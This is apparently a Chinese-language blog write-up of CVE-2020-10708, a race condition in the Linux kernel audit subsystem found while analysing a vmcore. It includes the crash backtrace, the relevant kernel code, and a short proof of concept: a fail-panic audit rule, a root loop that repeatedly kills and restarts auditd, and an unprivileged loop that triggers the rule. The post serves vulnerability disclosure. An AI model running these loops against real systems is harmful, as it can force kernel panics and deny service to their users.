从 vmcore 中挖掘出的 CVE

简介: CVE-2020-10708

在某次 kernel panic 的 vmcore 分析中,我发现这可能是一个允许低权限用户或远程攻击者触发的拒绝服务漏洞,经过对调用栈的回溯分析与构造 PoC 验证,并将测试结果提交给 Redhat 后,最终由 Redhat 确认:CVE-2020-10708。

漏洞原理

这是一个存在于 audit 子系统的竞争条件漏洞,漏洞原理比较简单,构造漏洞场景也很简单,我们直接通过 vmcore 来看看是怎么发生的。
首先看下 panic 堆栈:

crash> bt
PID: 22814  TASK: ffff8d1b40ea0fd0  CPU: 1   COMMAND: "audispd"
 #0 [ffff8d1b69ee3c60] machine_kexec at ffffffff96a60afa
 #1 [ffff8d1b69ee3cc0] __crash_kexec at ffffffff96b13402
 #2 [ffff8d1b69ee3d90] panic at ffffffff97107a9b
 #3 [ffff8d1b69ee3e10] audit_panic at ffffffff96b271e4
 #4 [ffff8d1b69ee3e28] audit_log_lost at ffffffff96b2722f
 #5 [ffff8d1b69ee3e40] audit_printk_skb at ffffffff96b2743c
 #6 [ffff8d1b69ee3e60] audit_log_end at ffffffff96b27692
 #7 [ffff8d1b69ee3e78] audit_log_exit at ffffffff96b2ce51
 #8 [ffff8d1b69ee3ee8] __audit_syscall_exit at ffffffff96b2f40d
 #9 [ffff8d1b69ee3f20] syscall_trace_leave at ffffffff96a395f4
#10 [ffff8d1b69ee3f48] int_check_syscall_exit_work at ffffffff9711fac2
    RIP: 00007fa2967ab170  RSP: 00007ffc7ce357d0  RFLAGS: 00000200
    RAX: 0000000000000000  RBX: 0000000000000000  RCX: 0000000000000000
    RDX: 0000000000000000  RSI: 0000000000000000  RDI: 0000000000000000
    RBP: 0000000000000000   R8: 0000000000000000   R9: 0000000000000000
    R10: 0000000000000000  R11: 0000000000000000  R12: 0000000000000000
    R13: 0000000000000000  R14: 0000000000000000  R15: 0000000000000000
    ORIG_RAX: 000000000000003b  CS: 0033  SS: 002b

发生 panic 的函数是:

void audit_panic(const char *message)
{
    switch (audit_failure)
    {
    case AUDIT_FAIL_SILENT:
        break;
    case AUDIT_FAIL_PRINTK:
        if (printk_ratelimit())
            printk(KERN_ERR "audit: %s\n", message);
        break;
    case AUDIT_FAIL_PANIC:
        /* test audit_pid since printk is always losey, why bother? */
        if (audit_pid)
            panic("audit: %s\n", message);  // audit_pid != NULL, panic here
        break;
    }
}

这里触发 panic 需要满足两个条件:

  1. audit_failure 设置成 AUDIT_FAIL_PANIC,AUDIT_FAIL_PANIC 是指示在 audit 失败的时候主动触发 panic;
  2. audit_pid 不为空,即当前 audit 是启用的。

继续回溯发现,在 audit_log_end 中有一处对 audit_pid 的判断:

void audit_log_end(struct audit_buffer *ab)
{
    if (!ab)
        return;
    if (!audit_rate_check()) {
        audit_log_lost("rate limit exceeded");
    } else {
        struct nlmsghdr *nlh = nlmsg_hdr(ab->skb);
        nlh->nlmsg_len = ab->skb->len - NLMSG_HDRLEN;

        if (audit_pid) {
            skb_queue_tail(&audit_skb_queue, ab->skb);
            wake_up_interruptible(&kauditd_wait);
        } else { // audit_pid == NULL 
            audit_printk_skb(ab->skb);
        }
        ab->skb = NULL;
    }
    audit_buffer_free(ab);
}

但这里是在 audit_pid == NULL 时调用 audit_printk_skb,与 audit_panic 中对 audit_pid 的判断结果明显不同,唯一的解释就是:在 audit_log_end 判断 audit_pid 是否为 NULL 时,此时 audit_pid == NULL,进入了 audit_printk_skb,而在这之后,audit_panic 判断 audit_pid 是否为 NULL 之前,由于某些原因(如 auditd 重启),audit_pid 被重新赋值,从而导致 audit_panic 触发 panic。

PoC

从攻击者的角度来说,要触发 panic 的前提是系统管理员(root)设置过 AUDIT_FAIL_PANIC,即 audit 失败后 panic。其次需要等待一小段的窗口期,并在这个窗口期内触发任意一条 audit 规则。一个典型的场景是,在 auditd 重启时,会经历一段 audit_pid 从 NULL 变成非 NULL 的时间,在这个时间里触发的 audit 规则如果恰好满足两个满足上述描述的 audit_log_end 与 audit_panic 对 audit_pid 的判断时机,就能够触发 panic。这其实是一个非常苛刻的条件,但可以通过循环来提高命中的概率。

  1. 【需要 root 权限】设置 AUDIT_FAIL_PANIC 并添加一条任意的 audit 规则:
    `[root@test ~]# cat /etc/audit/rules.d/audit.rules

-D
-b 8192
-f 2
-w /etc/hosts -p rwa -k hosts`

  1. 【需要 root 权限】不断杀死 auditd 进程并启动 auditd,这其实是制造 audit_pid 从 NULL 变成非 NULL 的环境:
    while true; do ps aux | grep "/sbin/auditd" | grep -v "grep" | awk '{print $2}' | xargs kill; service auditd start; systemctl reset-failed auditd.service; done
  2. 【不需要 root 权限】不断触发审计规则:
    while true; do cat /etc/hosts > /dev/null; done
  3. 等待 panic 发生
目录
相关文章
|
6月前
|
人工智能 自然语言处理 数据可视化
阿里云智启AI活动:超7000万大模型tokens免费体验,加速AI应用落地
阿里云启动智启AI活动内容参考,活动推出Qwen3.5全模型,最低4.5折优惠,让AI无缝理解多模态输入。其中,Qwen3.5-Omni具备Vibe Coding能力,可一键生成代码;Qwen3.5-Plus性能卓越,实现底层模型架构的全面革新。此外,阿里云还提供开箱即用的大模型创新场景和AI应用,如电商营销、广告创作等。活动还提供先进、弹性的AI算力,支持快速部署千问大模型。
|
6月前
|
数据采集 缓存 安全
【HTTP】HTTP协议核心体系:请求方法与状态码全结构化解析(附《思维导图》)
本文系统解析HTTP/1.1请求方法与状态码:厘清安全/幂等本质,详解9种方法语义、约束与误区;全覆盖状态码全分类(1xx/2xx/3xx/4xx/5xx核心场景)的定义、场景及关键区分(如301/308、401/403、502/504);强调RESTful实践与高频红线,助力构建健壮、规范的Web服务。
|
9月前
|
人工智能 运维 调度
数据中心节能:液冷 + AI 调度,到底是不是“真解法”?
数据中心节能:液冷 + AI 调度,到底是不是“真解法”?
426 4
|
11月前
|
人工智能 数据挖掘 关系型数据库
内附原文|VLDB论文精读:AI进行时,数据分析迈入增量计算时代
阿里云AnalyticDB团队近期在VLDB 2025上发表了关于增量计算的最新研究成果——论文《Streaming View: An Efficient Data Processing Engine for Modern Real-time Data Warehouse of Alibaba Cloud》。本文将对该工作进行简要介绍。
|
9月前
|
存储 数据库连接 C#
C# 配置文件读取:App.config 用法
App.config用于存储程序配置(如数据库连接、接口地址),避免硬编码,提升可维护性。通过ConfigurationManager读取配置,支持字符串、整型、布尔值及连接字符串的获取,需引用System.Configuration程序集。
ly~
|
消息中间件 存储 供应链
RocketMQ 消息的重试机制有什么优缺点?
RocketMQ 消息重试机制提高了消息处理的可靠性和系统的适应性,简化了错误处理,但也会增加系统延迟、可能导致消息重复处理并占用系统资源。适用于需要高可靠性的场景,如金融交易和电商订单处理。
ly~
511 5
|
JSON API 开发者
ebay 商品列表数据接口(ebay API 系列)
eBay 商品列表数据接口为电商从业者、开发者和研究人员提供了宝贵的数据资源,助力市场分析与应用开发。通过注册 eBay 开发者平台并遵循 OAuth 2.0 认证流程获取访问令牌,用户可以使用 HTTP GET 请求调用 API,根据关键词、价格范围等参数筛选商品,并获取商品标题、价格、图片链接等信息。Python 示例代码展示了如何发送请求、处理响应并解析 JSON 数据,帮助用户快速上手。注意合法合规使用数据。
1038 14
|
JavaScript 前端开发 Docker
前端全栈之路Deno篇(二):几行代码打包后接近100M?别慌,带你掌握Deno2.0的安装到项目构建全流程、剖析构建物并了解其好处
在使用 Deno 构建项目时,生成的可执行文件体积较大,通常接近 100 MB,而 Node.js 构建的项目体积则要小得多。这是由于 Deno 包含了完整的 V8 引擎和运行时,使其能够在目标设备上独立运行,无需额外安装依赖。尽管体积较大,但 Deno 提供了更好的安全性和部署便利性。通过裁剪功能、使用压缩工具等方法,可以优化可执行文件的体积。
1485 3
前端全栈之路Deno篇(二):几行代码打包后接近100M?别慌,带你掌握Deno2.0的安装到项目构建全流程、剖析构建物并了解其好处
|
监控 C# C++
Baumer工业相机堡盟相机如何使用HDR高动态范围功能( HDR功能的优点和行业典型应用)(C++)(C#)
Baumer工业相机堡盟相机如何使用HDR高动态范围功能( HDR功能的优点和行业典型应用)(C++)(C#)
742 0
|
JavaScript API 容器
Vue3加载条(LoadingBar)
这是一个基于 Vue 的加载条组件,提供了丰富的自定义选项和方法。通过简单的 API,可以控制加载条的开始、结束及错误状态。支持设置容器类名、样式、颜色等属性,并可通过 `start`、`finish` 和 `error` 方法来触发不同状态。
510 1
Vue3加载条(LoadingBar)